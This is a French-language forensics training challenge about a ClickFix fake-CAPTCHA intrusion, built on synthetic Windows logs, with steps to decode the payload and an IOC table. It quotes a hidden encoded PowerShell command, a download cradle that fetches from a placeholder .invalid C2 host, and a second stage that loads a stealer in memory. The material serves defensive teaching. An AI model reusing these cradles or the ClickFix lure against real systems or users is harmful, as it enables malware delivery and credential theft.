| Fichier | challenge-07-fileless-logs.zip |
| SHA-256 | b98e911edcf3a3ca7a13147b6549e7cab247a5e67df377bcc54029c993b977bc |
| Contenu | RunMRU, PowerShell 4104, Sysmon (export CSV/reg) |
| Contexte | NORTHSEA-DEV (alex), 2026-06-16 08:41 UTC |
Export de logs synthétique. Les hôtes C2 sont des domaines .invalid non résolubles, rien n'est contacté. Analyse en VM isolée.
Un utilisateur signale une fausse CAPTCHA qui lui a demandé d'appuyer sur Win+R, puis Ctrl+V, puis Entrée pour « vérifier ». C'est ClickFix : la page a écrit silencieusement une commande dans le presse-papier, et l'utilisateur l'a collée dans la boîte Exécuter et l'a lancée lui-même. Pas de macro, pas d'exploit, pas de fichier, donc l'alerte EDR est mince.
On vous remet trois exports de logs de l'hôte. Reconstituez la chaîne, décodez ce qui a tourné, et produisez les IOCs.
🧠 ClickFix en une phrase : une fausse invite de vérification pousse la victime à exécuter la commande de l'attaquant via la boîte Exécuter de Windows. La kill chain se réduit à un simple collage.
ClickFix passe par la boîte Exécuter de Windows : le premier artefact fort est donc RunMRU, qui enregistre ce que l'utilisateur a tapé ou collé.
[HKEY_CURRENT_USER\...\Explorer\RunMRU] "a"="powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand SQBFAFgA... # I am not a robot - Verification Ray ID: 8f2c1a9d\1" "MRUList"="ba"
🚩 Un powershell -EncodedCommand dans RunMRU, déguisé avec un faux commentaire « I am not a robot », est la signature ClickFix. L'utilisateur l'a collé lui-même (ClickFix +517 % en 2025).
Confirmez comment ça a démarré et où ça a rappelé. La relation parent-enfant est le révélateur.
1 explorer.exe -> powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand SQBFAFgA... 3 powershell.exe -> stage2-cdn.example.invalid:80 3 powershell.exe -> stage2-cdn.example.invalid:80
🔴 explorer.exe qui lance un powershell.exe caché qui rappelle aussitôt, c'est anormal : un humain l'a lancé depuis le shell (la boîte Exécuter), pas une appli. Pas de parent Office ni navigateur = ce n'est pas un exploit de document.
PowerShell -EncodedCommand, c'est du base64 de texte UTF-16LE. Décodez-le pour révéler le stage 1.
# PowerShell
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBFAFgA...'))
# ou bash
echo 'SQBFAFgA...' | base64 -d | iconv -f UTF-16LE -t UTF-8IEX (New-Object Net.WebClient).DownloadString('http://stage2-cdn.example.invalid/a.ps1')🔬 Ouvrir la recette CyberChef, From Base64 puis Decode UTF-16LE💡 Le stage 1 est un download cradle classique : IEX (New-Object Net.WebClient).DownloadString(...) récupère un script depuis le C2 et l'exécute en mémoire, aucun fichier ne touche le disque.
Le Script Block Logging (Event 4104) enregistre le code déobfusqué réellement exécuté par PowerShell, y compris ce que le cradle a téléchargé.
$u='http://stage2-cdn.example.invalid/payload.dat';$o="$env:APPDATA\Microsoft\svc.dat";(New-Object Net.WebClient).DownloadFile($u,$o);$b=[IO.File]::ReadAllBytes($o);[Reflection.Assembly]::Load($b);[NSD.Stealer]::Run()
🔥 Le second stage télécharge payload.dat et le charge via [Reflection.Assembly]::Load(), exécuté en mémoire ([NSD.Stealer]::Run()). Aucun PE sur disque, d'où l'AV par signature aveugle. C'est l'accès initial qui a déposé l'infostealer du Challenge #06.
-enc, -w hidden, ou un download cradle, et sur les écritures dans RunMRU.| Type | Valeur | ATT&CK |
|---|---|---|
| Accès initial | ClickFix, powershell -enc collé dans RunMRU | T1204 |
| Exécution | powershell.exe -enc -w hidden (enfant d'explorer) | T1059.001 |
| Obfuscation | EncodedCommand base64 / UTF-16LE | T1027 / T1140 |
| C2 / cradle | http://stage2-cdn.example.invalid/a.ps1 | T1105 |
| Chargement mémoire | [Reflection.Assembly]::Load -> NSD.Stealer | T1620 |
| Suite | log d'infostealer (voir Challenge #06) | T1555 / T1539 |
Comment fonctionne ClickFix et à quel point c'est devenu courant en accès initial.
La flambée 2025 qui a fait de ClickFix un vecteur majeur.
Abus de PowerShell pour l'exécution, y compris les commandes encodées.
Encodage et obfuscation, dont le base64 EncodedCommand.
Environnement entièrement fictif, à usage éducatif uniquement. Les hôtes C2 sont des domaines .invalid non résolubles.
A Belgium-based provider of cybersecurity solutions, and the team behind SynapseRM / TPRM.